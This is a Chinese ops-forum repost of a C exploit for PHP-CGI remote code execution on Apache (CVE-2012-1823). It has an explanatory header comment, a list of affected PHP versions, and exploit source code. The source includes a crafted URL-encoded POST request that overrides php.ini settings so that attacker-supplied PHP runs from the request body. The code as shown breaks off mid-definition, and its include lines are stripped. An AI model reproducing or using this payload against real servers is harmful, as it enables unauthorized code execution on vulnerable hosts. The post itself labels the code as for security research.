设为首页 收藏本站
查看: 741|回复: 0

[经验分享] Apache / PHP 5.x Remote Code Execution Exploit

[复制链接]

尚未签到

发表于 2015-8-6 10:26:23 | 显示全部楼层 |阅读模式
测试方法:
  本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

  • /* Apache Magica by Kingcope */
  • /* gcc apache-magika.c -o apache-magika -lssl */
  • /* This is a code execution bug in the combination of Apache and PHP.
  • On Debian and Ubuntu the vulnerability is present in the default install
  • of the php5-cgi package. When the php5-cgi package is installed on Debian and
  • Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under
  • /cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute
  • the binary because this binary has a security check enabled when installed with
  • Apache http server and this security check is circumvented by the exploit.
  • When accessing the php-cgi binary the security check will block the request and
  • will not execute the binary.
  • In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security
  • check is done when the php.ini configuration setting cgi.force_redirect is set
  • and the php.ini configuration setting cgi.redirect_status_env is set to no.
  • This makes it possible to execute the binary bypassing the Security check by
  • setting these two php.ini settings.
  • Prior to this code for the Security check getopt is called and it is possible
  • to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the
  • -d switch. If both values are set to zero and the request is sent to the server
  • php-cgi gets fully executed and we can use the payload in the POST data field
  • to execute arbitrary php and therefore we can execute programs on the system.
  • apache-magika.c is an exploit that does exactly the prior described. It does
  • support SSL.
  • /* Affected and tested versions
  • PHP 5.3.10
  • PHP 5.3.8-1
  • PHP 5.3.6-13
  • PHP 5.3.3
  • PHP 5.2.17
  • PHP 5.2.11
  • PHP 5.2.6-3
  • PHP 5.2.6+lenny16 with Suhosin-Patch
  • Affected versions
  • PHP prior to 5.3.12
  • PHP prior to 5.4.2
  • Unaffected versions
  • PHP 4 - getopt parser unexploitable
  • PHP 5.3.12 and up
  • PHP 5.4.2 and up
  • Unaffected versions are patched by CVE-2012-1823.
  • */
  • /* .
  • /'\rrq rk
  • . // \\ .
  • .x.//fco\\-|-
  • '//cmtco\\zt
  • //6meqrg.\\tq
  • //_________\\'
  • EJPGQO
  • apache-magica.c by Kingcope
  • */

  • #include
  • #include
  • #include
  • #include
  • #include
  • #include
  • #include
  • #include
  • #include
  • #include
  • #include
  • #include

  • typedefstruct{
  • int sockfd;
  • SSL *handle;
  • SSL_CTX *ctx;
  • } connection;

  • void usage(char*argv[])
  • {
  • printf("usage: %s    " \
  • "  [--force-interpreter interpreter]\n",
  • argv[0]);
  • exit(1);
  • }

  • char poststr[]="POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \
  • "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \
  • "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \
  • "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \
  • "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \
  • "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \
  • "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \
  • "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \
  • "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \
  • "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \
  • "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \
  • "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \
  • "Host: %s\r\n" \
  • "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26" \
  • "(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n" \
  • "Content-Type: application/x-www-form-urlencoded\r\n" \
  • "Content-Length: %d\r\n" \
  • "Connection: close\r\n\r\n%s";
  • char phpstr[]="

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-94668-1-1.html 上篇帖子: [apache] 挂钩说明(2) 下篇帖子: apache httpd.conf 配置信息
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表